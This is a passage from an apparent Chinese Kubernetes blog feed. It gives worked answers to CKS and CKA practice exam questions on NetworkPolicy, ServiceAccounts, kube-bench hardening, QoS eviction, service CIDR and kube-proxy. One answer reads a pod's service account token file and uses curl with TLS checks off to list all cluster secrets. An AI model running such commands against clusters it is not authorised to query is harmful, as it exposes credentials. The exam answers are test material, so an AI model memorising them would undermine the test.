class="comment">#注意看题，是Ingress + Egress（入口+出口），还是只是Ingress或只是Egress。</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">Egress</span>             <span class="comment">#在1.25的考试中，只要求拒绝所有Egress流量，那就只写这这个- Egress即可，这种情况就不要写- Ingress了。</span></span><br></pre></td></tr></table></figure><p>创建并检查</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl -f /cks/net/p1.yaml create</span><br><span class="line">kubectl -n testing describe networkpolicies denypolicy</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/aaa3d2ae4605e836f6f5f6e7556c6bb59de0e452de41584a95bacb525478a0c7.jpg" alt="NetworkPolicy-1"><br><img src="https://images.hao.kim/uploads/2024/12/d2c2e6990c725b66c1d91b8beef6a6f62ddb400fd04349425a96420596ba3142.jpg" alt="NetworkPolicy-2">  </p>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKS </category>
          
      </categories>
      
      
        <tags>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
            <tag> CKS </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKS 题库 2、Pod指定ServiceAccount</title>
      <link href="/archives/kubernetes/CKS/ServiceAccount.html"/>
      <url>/archives/kubernetes/CKS/ServiceAccount.html</url>
      
        <content type="html"><![CDATA[<p><img src="https://images.hao.kim/uploads/2024/12/b16bf135660dced25cbcb17b749b0f90ca48ef7998850d88ee52de52134f377c.jpg" alt="ServiceAccount-0">  </p><h5 id="Context"><a href="#Context" class="headerlink" title="Context"></a>Context</h5><p>您组织的安全策略包括：</p><ul><li>ServiceAccount不得自动挂载API凭据</li><li>ServiceAccount名称必须以“-sa”结尾</li></ul><p>清单文件 <code>/cks/sa/pod1.yaml</code> 中指定的Pod由于 <code>ServiceAccount</code> 指定错误而无法调度。</p><p>请完成以下项目：</p><h5 id="Task"><a href="#Task" class="headerlink" title="Task"></a>Task</h5><ol><li>在现有namespace <code>qa</code> 中创建一个名为 <code>backend-sa</code> 的新ServiceAccount， 确保此ServiceAccount不自动挂载API凭据。</li><li>使用 <code>/cks/sa/pod1.yaml</code> 中的清单文件来创建一个Pod。</li><li>最后，清理 namespace <code>qa</code> 中任何 未使用的 ServiceAccount。</li></ol><hr><h5 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h5><p><a href="https://kubernetes.io/zh-cn/docs/tasks/configure-pod-container/configure-service-account/#%E4%BD%BF%E7%94%A8%E9%BB%98%E8%AE%A4%E7%9A%84%E6%9C%8D%E5%8A%A1%E8%B4%A6%E6%88%B7%E8%AE%BF%E9%97%AE-api-%E6%9C%8D%E5%8A%A1%E5%99%A8">https://kubernetes.io/zh-cn/docs/tasks/configure-pod-container/configure-service-account/#使用默认的服务账户访问-api-服务器</a></p><hr><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><p>切换集群</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl config use-context KSCH00301</span><br></pre></td></tr></table></figure><h6 id="创建-ServiceAccount"><a href="#创建-ServiceAccount" class="headerlink" title="创建 ServiceAccount"></a>创建 ServiceAccount</h6><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">vi qa-sa.yaml</span><br></pre></td></tr></table></figure><p>qa-sa.yaml</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">ServiceAccount</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">backend-sa</span>  <span class="comment">#修改为 对应的name</span></span><br><span class="line">  <span class="attr">namespace:</span> <span class="string">qa</span>     <span class="comment">#namespace名称</span></span><br><span class="line"><span class="attr">automountServiceAccountToken:</span> <span class="literal">false</span>  <span class="comment">#false为不自动挂载secret</span></span><br></pre></td></tr></table></figure><p>应用 并 检查</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl -f qa-sa.yaml create</span><br><span class="line">kubectl -n qa get sa</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/ad50a7472d192f529bd6e3448410fdc7f541da21658fb43d84b937226c095c06.jpg" alt="ServiceAccount-1">  </p><h6 id="使用该SA创建-pod"><a href="#使用该SA创建-pod" class="headerlink" title="使用该SA创建 pod"></a>使用该SA创建 pod</h6><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">vim /cks/sa/pod1.yaml</span><br></pre></td></tr></table></figure><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="string">……</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">backend</span></span><br><span class="line">  <span class="attr">namespace:</span> <span class="string">qa</span> <span class="comment">#注意命名空间是否对</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">serviceAccountName:</span> <span class="string">backend-sa</span> <span class="comment"># 没有则添加一行，有则修改这一行为刚才创建的ServiceAccount（考试时，默认已有这一行，需要修改。）</span></span><br><span class="line"><span class="attr">containers:</span></span><br><span class="line"><span class="string">……</span></span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/a8c42a6617ceb9efa902ce075b580698f3ccd6b1a03053faa4bb901c89c3f270.jpg" alt="ServiceAccount-2">  </p><h6 id="删除未使用的-ServiceAccount"><a href="#删除未使用的-ServiceAccount" class="headerlink" title="删除未使用的 ServiceAccount"></a>删除未使用的 ServiceAccount</h6><p>查看所有 SA</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl -n qa get sa</span><br></pre></td></tr></table></figure><p>过滤已经在用的 SA</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl -n qa get pod -o yaml | grep -i serviceAccountName</span><br></pre></td></tr></table></figure><p>删除不用的sa</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl -n qa delete sa test01</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/f3f12403040bae0632bf6522718fd39567ba280a5f3212d130ccafabc9033517.jpg" alt="ServiceAccount-3">  </p>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKS </category>
          
      </categories>
      
      
        <tags>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
            <tag> CKS </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKS 题库 1、kube-bench 修复不安全项</title>
      <link href="/archives/kubernetes/CKS/kube-bench.html"/>
      <url>/archives/kubernetes/CKS/kube-bench.html</url>
      
        <content type="html"><![CDATA[<p><img src="https://images.hao.kim/uploads/2024/12/fee2514a33343841b8062c52ff59dfd5c890493be801bcb34e3427f99286cd27.jpg" alt="kube-bench-0">  </p><h5 id="Context"><a href="#Context" class="headerlink" title="Context"></a>Context</h5><p>针对 kubeadm创建的 cluster运行CIS基准测试工具时，发现了多个必须立即解决的问题。</p><h5 id="Task"><a href="#Task" class="headerlink" title="Task"></a>Task</h5><p>通过配置修复所有问题并重新启动受影响的组件以确保新的设置生效。</p><p>修复针对 API 服务器发现的所有以下违规行为：<br>1.2.7 Ensure that the –authorization-mode argument is not set to AlwaysAllow <code>FAIL</code><br>1.2.8 Ensure that the –authorization-mode argument includes Node <code>FAIL</code><br>1.2.9 Ensure that the –authorization-mode argument includes RBAC <code>FAIL</code><br>1.2.18 Ensure that the –insecure-bind-address argument is not set <code>FAIL</code> 1.25中这项题目没给出，但最好也检查一下，模拟环境里需要改）<br>1.2.19 Ensure that the –insecure-port argument is set to 0 <code>FAIL</code> （1.25中这项题目没给出，不需要再修改了）</p><p>修复针对kubelet发现的所有以下违规行为：<br>Fix all of the following violations that were found against the kubelet:<br>4.2.1 Ensure that the anonymous-auth argument is set to false <code>FAIL</code><br>4.2.2 Ensure that the –authorization-mode argument is not set to AlwaysAllow <code>FAIL</code><br>注意：尽可能使用 <code>Webhook</code> 身份验证&#x2F;授权。</p><p>修复针对etcd发现的所有以下违规行为：<br>Fix all of the following violations that were found against etcd:<br>2.2 Ensure that the –client-cert-auth argument is set to true <code>FAIL</code></p><hr><h5 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h5><p><a href="https://kubernetes.io/zh/docs/reference/config-api/kubelet-config.v1beta1/">https://kubernetes.io/zh/docs/reference/config-api/kubelet-config.v1beta1/</a></p><hr><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><p>切换集群</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl config use-context KSCS00201</span><br></pre></td></tr></table></figure><h5 id="1-修改api-server"><a href="#1-修改api-server" class="headerlink" title="1. 修改api-server"></a>1. 修改api-server</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kube-bench master</span><br></pre></td></tr></table></figure><p>检查FAIL项,并根据题目要求进行修改</p><p>备份文件 <strong>&#x2F;etc&#x2F;kubernetes&#x2F;manifests&#x2F;kube-apiserver.yaml</strong> 修改文件内容</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="bullet">-</span> <span class="string">--authorization-mode=Node,RBAC</span>  <span class="comment">#修改参数为Node,RBAC</span></span><br><span class="line"><span class="bullet">-</span> <span class="string">--insecure-bind-address=0.0.0.0</span> <span class="comment">#删除这一行 #</span></span><br></pre></td></tr></table></figure><h5 id="2-修改kubelet"><a href="#2-修改kubelet" class="headerlink" title="2. 修改kubelet"></a>2. 修改kubelet</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kube-bench node</span><br></pre></td></tr></table></figure><p>检查FAIL项,并根据题目修改对应项</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">systemctl status kubelet</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/76961253b1f395d4089bab47b7423d6316bba80e9a0bf9ce164f81fea10e58d5.jpg" alt="kube-bench-1">  </p><p><code>cat /etc/systemd/system/kubelet.service.d/10-kubeadm.conf</code> 中你也会看到<code>Environment=&quot;KUBELET_CONFIG_ARGS=--config= /var/lib/kubelet/config.yaml&quot;</code>。 所以去修改这个文件 修改之前，备份一下配置文件。</p><p>vim &#x2F;var&#x2F;lib&#x2F;kubelet&#x2F;config.yaml</p><p><img src="https://images.hao.kim/uploads/2024/12/cfc1da2a15dd09567bee37ddc0ae8c74b60dde23d30967e27e6095c6141e3022.jpg" alt="kube-bench-2">  </p><p>重载配置 重启kubelet服务</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">systemctl daemon-reload</span><br><span class="line">systemctl restart kubelet.service</span><br></pre></td></tr></table></figure><h5 id="3-修改-etcd"><a href="#3-修改-etcd" class="headerlink" title="3. 修改 etcd"></a>3. 修改 etcd</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kube-bench</span><br></pre></td></tr></table></figure><p>备份文件 <strong>&#x2F;etc&#x2F;kubernetes&#x2F;manifests&#x2F;etcd.yaml</strong></p><p>修改</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="bullet">-</span> <span class="string">--client-cert-auth=true</span> <span class="comment">#修改为true</span></span><br></pre></td></tr></table></figure><p>做完以后要检查一下 apiserver 运行正常</p>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKS </category>
          
      </categories>
      
      
        <tags>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
            <tag> CKS </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKA 模拟真题 Killer.sh Extra | Question 2 | Curl Manually Contact API</title>
      <link href="/archives/kubernetes/CKA/curl-api.html"/>
      <url>/archives/kubernetes/CKA/curl-api.html</url>
      
        <content type="html"><![CDATA[<p>Use context: <code>kubectl config use-context k8s-c1-H</code></p><p>There is an existing ServiceAccount <code>secret-reader</code> in Namespace  <code>project-hamster</code> . Create a Pod of image <code>curlimages/curl:7.65.3</code> named <code>tmp-api-contact</code> which uses this ServiceAccount. Make sure the container keeps running.</p><p>Exec into the Pod and use <code>curl</code> to access the Kubernetes Api of that cluster manually, listing all available secrets. You can ignore insecure https connection. Write the command(s) for this into file <code>/opt/course/e4/list-secrets.sh</code> .</p><hr><h5 id="译文"><a href="#译文" class="headerlink" title="译文"></a>译文</h5><p>在namepace <code>project-hamster</code> 中有一个现有的ServiceAccount <code>secret-reader</code> 。创建一个名为 <code>tmp-api-contact</code> 的pod, 镜像为 <code>curl:7.65.3</code> ，使用这个ServiceAccount。确保该容器持续运行。</p><p>在pod中,使用 curl 手动访问该集群的 Kubernetes Api，列出所有可用的 secret 。你可以忽略不安全的 HTTPS 连接。把这个命令写进文件 <code>/opt/course/e4/list-secrets.sh</code> 。</p><hr><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><p>参考: <a href="https://kubernetes.io/docs/tasks/run-application/access-api-from-pod">https://kubernetes.io/docs/tasks/run-application/access-api-from-pod</a></p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl config use-context k8s-c1-H</span><br></pre></td></tr></table></figure><p>创建pod</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k run tmp-api-contact \</span><br><span class="line">  --image=curlimages/curl:7.65.3 <span class="variable">$do</span> \</span><br><span class="line">  --<span class="built_in">command</span> -- sh -c <span class="string">&#x27;sleep 1d&#x27;</span> &gt; e2.yaml</span><br><span class="line"></span><br><span class="line">vim e2.yaml</span><br></pre></td></tr></table></figure><p>e2.yaml</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># e2.yaml</span></span><br><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Pod</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">creationTimestamp:</span> <span class="literal">null</span></span><br><span class="line">  <span class="attr">labels:</span></span><br><span class="line">    <span class="attr">run:</span> <span class="string">tmp-api-contact</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">tmp-api-contact</span></span><br><span class="line">  <span class="attr">namespace:</span> <span class="string">project-hamster</span>          <span class="comment"># add</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">serviceAccountName:</span> <span class="string">secret-reader</span>   <span class="comment"># add</span></span><br><span class="line">  <span class="attr">containers:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">command:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">sh</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">-c</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">sleep</span> <span class="string">1d</span></span><br><span class="line">    <span class="attr">image:</span> <span class="string">curlimages/curl:7.65.3</span></span><br><span class="line">    <span class="attr">name:</span> <span class="string">tmp-api-contact</span></span><br><span class="line">    <span class="attr">resources:</span> &#123;&#125;</span><br><span class="line">  <span class="attr">dnsPolicy:</span> <span class="string">ClusterFirst</span></span><br><span class="line">  <span class="attr">restartPolicy:</span> <span class="string">Always</span></span><br><span class="line"><span class="attr">status:</span> &#123;&#125;</span><br></pre></td></tr></table></figure><p>运行pod</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k -f e2.yaml create</span><br></pre></td></tr></table></figure><p>检查是否可以获取secret</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k auth can-i get secret --as system:serviceaccount:project-hamster:secret-reader</span><br></pre></td></tr></table></figure><p>进入pod,可以通过如下命令访问, -k参数是忽略证书认证</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k -n project-hamster <span class="built_in">exec</span> tmp-api-contact -it -- sh</span><br><span class="line">~ curl https://kubernetes.default</span><br><span class="line">~ curl -k https://kubernetes.default</span><br><span class="line">~ curl -k https://kubernetes.default/api/v1/secrets</span><br></pre></td></tr></table></figure><p>使用带验证头的方式进行访问</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">TOKEN=$(<span class="built_in">cat</span> /var/run/secrets/kubernetes.io/serviceaccount/token)</span><br><span class="line">curl -k https://kubernetes.default/api/v1/secrets -H <span class="string">&quot;Authorization: Bearer <span class="variable">$&#123;TOKEN&#125;</span>&quot;</span></span><br></pre></td></tr></table></figure><p>可以使用ca证书进行访问,不用-k参数</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt</span><br><span class="line">curl --cacert <span class="variable">$&#123;CACERT&#125;</span> https://kubernetes.default/api/v1/secrets -H <span class="string">&quot;Authorization: Bearer <span class="variable">$&#123;TOKEN&#125;</span>&quot;</span></span><br></pre></td></tr></table></figure><p>上面的命令可以写入文件 &#x2F;opt&#x2F;course&#x2F;e4&#x2F;list-secrets.sh</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># /opt/course/e4/list-secrets.sh</span></span><br><span class="line">TOKEN=$(<span class="built_in">cat</span> /var/run/secrets/kubernetes.io/serviceaccount/token)</span><br><span class="line">curl -k https://kubernetes.default/api/v1/secrets -H <span class="string">&quot;Authorization: Bearer <span class="variable">$&#123;TOKEN&#125;</span>&quot;</span></span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKA </category>
          
      </categories>
      
      
        <tags>
            
            <tag> CKA </tag>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKA 模拟真题 Killer.sh | Extra Question 1 | Find Pods first to be terminated</title>
      <link href="/archives/kubernetes/CKA/check-pods.html"/>
      <url>/archives/kubernetes/CKA/check-pods.html</url>
      
        <content type="html"><![CDATA[<p>Use context: <code>kubectl config use-context k8s-c1-H</code></p><p>Check all available Pods in the Namespace <code>project-c13</code> and find the names of those that would probably be terminated first if the nodes run out of resources (cpu or memory) to schedule all Pods. Write the Pod names into  <code>/opt/course/e1/pods-not-stable.txt</code> .</p><hr><h5 id="译文"><a href="#译文" class="headerlink" title="译文"></a>译文</h5><p>检查名称空间 <code>project-c13</code> 中的所有可用 Pod，并找出在节点资源（CPU 或内存）耗尽时可能首先终止的 Pod 名称，以调度所有 Pod。 将 Pod 名称写入 <code>/opt/course/e1/pods-not-stable.txt</code>。</p><hr><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><p>当节点上的可用cpu或内存资源达到极限时，Kubernetes将寻找那些使用的资源超过其要求的Pod。这些将是第一批终止的候选者。如果一些Pods容器没有设置资源请求&#x2F;限制，那么默认情况下，这些容器将被视为使用超过请求。<br>参考<br><code>https://kubernetes.io/docs/tasks/configure-pod-container/quality-service-pod</code></p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl config use-context k8s-c1-Hg</span><br></pre></td></tr></table></figure><p>检查没有设置资源限制的pod</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k -n project-c13 describe pod | egrep <span class="string">&quot;^(Name:|    Requests:)&quot;</span> -A1</span><br></pre></td></tr></table></figure><p>后面没有限制的pod有下面这些,写入到文件&#x2F;opt&#x2F;course&#x2F;e1&#x2F;pods-not-stable.txt即可</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># /opt/course/e1/pods-not-stable.txt</span></span><br><span class="line">c13-3cc-runner-heavy-65588d7d6-djtv9map</span><br><span class="line">c13-3cc-runner-heavy-65588d7d6-v8kf5map</span><br><span class="line">c13-3cc-runner-heavy-65588d7d6-wwpb4map</span><br><span class="line">o3db-0</span><br><span class="line">o3db-1 <span class="comment"># maybe not existing if already removed via previous scenario</span></span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKA </category>
          
      </categories>
      
      
        <tags>
            
            <tag> CKA </tag>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKA 模拟真题 Killer.sh | Preview Question 3</title>
      <link href="/archives/kubernetes/CKA/check-ip.html"/>
      <url>/archives/kubernetes/CKA/check-ip.html</url>
      
        <content type="html"><![CDATA[<p>Use context: <code>kubectl config use-context k8s-c2-AC</code></p><p>Create a Pod named <code>check-ip</code> in Namespace <code>default</code> using image  <code>httpd:2.4.41-alpine</code> . Expose it on port 80 as a ClusterIP Service named  <code>check-ip-service</code> . Remember&#x2F;output the IP of that Service.</p><p>Change the Service CIDR to <code>11.96.0.0/12</code> for the cluster.</p><p>Then create a second Service named <code>check-ip-service2</code> pointing to the same Pod to check if your settings did take effect. Finally check if the IP of the first Service has changed.</p><hr><h5 id="译文"><a href="#译文" class="headerlink" title="译文"></a>译文</h5><p>在命名空间default创建一个名为 <code>check-ip</code> 的Pod, 镜像使用 <code>httpd:2.4.41-alpine</code> 。将其作为一个名为 <code>check-ip-service</code> 的ClusterIP服务暴露在80端口。记住&#x2F;output该服务的IP。</p><p>将集群的CIDR更改为 <code>11.96.0.0/12</code> 。</p><p>然后创建第二个名为 <code>check-ip-service2</code> 的服务，指向同一个Pod，检查你的设置是否生效。最后检查第一个服务的IP是否有变化。</p><hr><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl config use-context k8s-c2-AC</span><br></pre></td></tr></table></figure><p>创建一个pod,并且暴露端口</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k run check-ip --image=httpd:2.4.41-alpine</span><br><span class="line"></span><br><span class="line">k expose pod check-ip --name check-ip-service --port 80</span><br></pre></td></tr></table></figure><p>检查pod和service的IP</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k get svc,ep -l run=check-ip</span><br></pre></td></tr></table></figure><p>更改service的CIDR</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ssh cluster2-controlplane1</span><br><span class="line"></span><br><span class="line">root@cluster2-controlplane1:~# vim /etc/kubernetes/manifests/kube-apiserver.yaml</span><br></pre></td></tr></table></figure><p>kube-apiserver.yaml</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># /etc/kubernetes/manifests/kube-apiserver.yaml</span></span><br><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Pod</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">creationTimestamp:</span> <span class="literal">null</span></span><br><span class="line">  <span class="attr">labels:</span></span><br><span class="line">    <span class="attr">component:</span> <span class="string">kube-apiserver</span></span><br><span class="line">    <span class="attr">tier:</span> <span class="string">control-plane</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">kube-apiserver</span></span><br><span class="line">  <span class="attr">namespace:</span> <span class="string">kube-system</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">containers:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">command:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">kube-apiserver</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--advertise-address=192.168.100.21</span></span><br><span class="line"><span class="string">...</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--service-account-key-file=/etc/kubernetes/pki/sa.pub</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--service-cluster-ip-range=11.96.0.0/12</span>             <span class="comment"># change</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--tls-cert-file=/etc/kubernetes/pki/apiserver.crt</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--tls-private-key-file=/etc/kubernetes/pki/apiserver.key</span></span><br></pre></td></tr></table></figure><p>编辑调度器配置文件</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">root@cluster2-controlplane1:~# vim /etc/kubernetes/manifests/kube-controller-manager.yaml</span><br></pre></td></tr></table></figure><p>kube-controller-manager.yaml</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># /etc/kubernetes/manifests/kube-controller-manager.yaml</span></span><br><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Pod</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">creationTimestamp:</span> <span class="literal">null</span></span><br><span class="line">  <span class="attr">labels:</span></span><br><span class="line">    <span class="attr">component:</span> <span class="string">kube-controller-manager</span></span><br><span class="line">    <span class="attr">tier:</span> <span class="string">control-plane</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">kube-controller-manager</span></span><br><span class="line">  <span class="attr">namespace:</span> <span class="string">kube-system</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">containers:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">command:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">kube-controller-manager</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--allocate-node-cidrs=true</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--authentication-kubeconfig=/etc/kubernetes/controller-manager.conf</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--authorization-kubeconfig=/etc/kubernetes/controller-manager.conf</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--bind-address=127.0.0.1</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--client-ca-file=/etc/kubernetes/pki/ca.crt</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--cluster-cidr=10.244.0.0/16</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--cluster-name=kubernetes</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--cluster-signing-cert-file=/etc/kubernetes/pki/ca.crt</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--cluster-signing-key-file=/etc/kubernetes/pki/ca.key</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--controllers=*,bootstrapsigner,tokencleaner</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--kubeconfig=/etc/kubernetes/controller-manager.conf</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--leader-elect=true</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--node-cidr-mask-size=24</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--requestheader-client-ca-file=/etc/kubernetes/pki/front-proxy-ca.crt</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--root-ca-file=/etc/kubernetes/pki/ca.crt</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--service-account-private-key-file=/etc/kubernetes/pki/sa.key</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--service-cluster-ip-range=11.96.0.0/12</span>         <span class="comment"># change</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--use-service-account-credentials=true</span></span><br></pre></td></tr></table></figure><p>使用crictl检查api-server和 调度器是否重启</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">root@cluster2-controlplane1:~# crictl ps | grep scheduler</span><br></pre></td></tr></table></figure><p>检查已存在的pod和service的IP,发现 没有发生变化</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k get pod,svc -l run=check-ip</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/aa9db3b9cf7ec03ef9f8a3c72ab78e45af77c9d9e4f41743c5d3c24fd3936213.jpg" alt="check-ip-0">  </p><p>创建第二个pod,并检查,发现IP已经改变</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k expose pod check-ip --name check-ip-service2 --port 80</span><br><span class="line">k get svc,ep -l run=check-ip</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/c05f7ec9f46b27671934e1b9b5d09a86565fa02da850c754007cb4a400b29177.jpg" alt="check-ip-1">  </p>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKA </category>
          
      </categories>
      
      
        <tags>
            
            <tag> CKA </tag>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKA 模拟真题 Killer.sh | Preview Question 2</title>
      <link href="/archives/kubernetes/CKA/kube-proxy.html"/>
      <url>/archives/kubernetes/CKA/kube-proxy.html</url>
      
        <content type="html"><![CDATA[<p>Use context: <code>kubectl config use-context k8s-c1-H</code></p><p>You’re asked to confirm that kube-proxy is running correctly on all nodes. For this perform the following in Namespace <code>project-hamster</code> :</p><p>Create a new Pod named <code>p2-pod</code> with two containers, one of image <code>nginx:1.21.3-alpine</code> and one of image <code>busybox:1.31</code> . Make sure the busybox container keeps running for some time.</p><p>Create a new Service named <code>p2-service</code> which exposes that Pod internally in the cluster on port 3000-&gt;80.</p><p>Find the kube-proxy container on all nodes <code>cluster1-controlplane1</code> , <code>cluster1-node1</code> and <code>cluster1-node2</code> and make sure that it’s using iptables. Use command <code>crictl</code> for this.</p><p>Write the iptables rules of all nodes belonging the created Service <code>p2-service</code> into file <code>/opt/course/p2/iptables.txt</code> .</p><p>Finally delete the Service and confirm that the iptables rules are gone from all nodes.</p><hr><h5 id="译文"><a href="#译文" class="headerlink" title="译文"></a>译文</h5><p>你被要求确认 kube-proxy 在所有节点上都正确运行。为此，在名称空间 <code>project-hamster</code> 中执行以下操作。</p><p>创建一个名为 <code>p2-pod</code> 的新Pod，有两个容器，一个是 <code>nginx:1.21.3-alpine</code> 的镜像，一个是 <code>busybox:1.31</code> 的镜像。确保busybox容器持续运行一段时间。</p><p>创建一个名为 <code>p2-service</code> 的新服务，在集群中通过 3000-&gt;80 端口向内部公开该Pod。</p><p>在所有节点 <code>cluster1-controlplane1</code> 、<code>cluster1-node1</code> 和 